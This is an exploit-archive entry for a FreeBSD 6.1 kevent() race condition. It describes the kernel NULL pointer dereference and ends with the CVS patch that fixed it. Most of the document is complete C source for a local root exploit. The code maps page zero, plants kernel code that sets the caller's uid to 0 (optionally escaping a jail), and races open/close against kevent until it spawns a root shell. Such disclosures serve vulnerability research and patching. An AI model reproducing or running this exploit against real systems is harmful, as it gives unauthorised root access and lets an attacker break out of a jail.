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FreeBSD 6.1 kqueue() NULL Pointer Dereference

FreeBSD 6.1 kqueue() NULL Pointer Dereference
Posted Aug 23, 2009
Authored by Przemyslaw Frasunek

FreeBSD versions 6.1 and below kqueue() NULL pointer dereference race condition local root exploit.

tags | exploit, local, root
systems | freebsd
SHA-256 | 1954132bfa966f8b2f00fbd93282630ff392c376db14de7c34bfa84008a1c31b

FreeBSD 6.1 kqueue() NULL Pointer Dereference

Change Mirror Download
FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.

The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
was not recognized as security vulnerability.

The following code exploits this vulnerability to run root shell.

/* 22.08.2009, babcia padlina
* FreeBSD kevent() race condition exploit
*
* works only on multiprocessor systems
* gcc -o padlina padlina.c -lpthread
* -DPRISON_BREAK if you want to exit from jail
*
* with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion
*/

#define _KERNEL

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>

int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;

static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
thread->td_proc->p_ucred->cr_prison = NULL;
#endif
return;
}

static void code_end(void) {
return;
}

void do_thread(void) {
usleep(100);

while (!gotroot) {
memset(&kev, 0, sizeof(kev));
EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);

if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
perror("kevent");
}

return;
}

void do_thread2(void) {
while(!gotroot) {
if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0)
perror("open");

close(fd);
}

return;
}

int main(void) {
int i;
pthread_t pth, pth2;

if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("mmap");
return -1;
}

memcpy(0, &kernel_code, &code_end - &kernel_code);

if ((kq = kqueue()) < 0) {
perror("kqueue");
return -1;
}

pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);

timeout.tv_sec = 0;
timeout.tv_nsec = 1;

printf("waiting for root...\n");
i = 0;

while (!gotroot && i++ < 10000)
usleep(100);

setuid(0);

if (getuid()) {
printf("failed - system patched or not MP\n");
return -1;
}

printf("hwdp!\n");

execl("/bin/sh", "sh", NULL);

return 0;
}


Patch for this vulnerability, as in CVS:

--- src/sys/kern/kern_descrip.c 2006/09/04 10:30:09 1.279.2.8
+++ src/sys/kern/kern_descrip.c 2006/09/29 18:30:48 1.279.2.9
@@ -35,7 +35,7 @@
*/

#include <sys/cdefs.h>
-__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.8 2006/09/04 10:30:09 pjd Exp $");
+__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.9 2006/09/29 18:30:48 jmg Exp $");

#include "opt_compat.h"
#include "opt_ddb.h"
@@ -2602,7 +2602,7 @@ static int
badfo_kqfilter(struct file *fp, struct knote *kn)
{

- return (0);
+ return (EBADF);
}

static int


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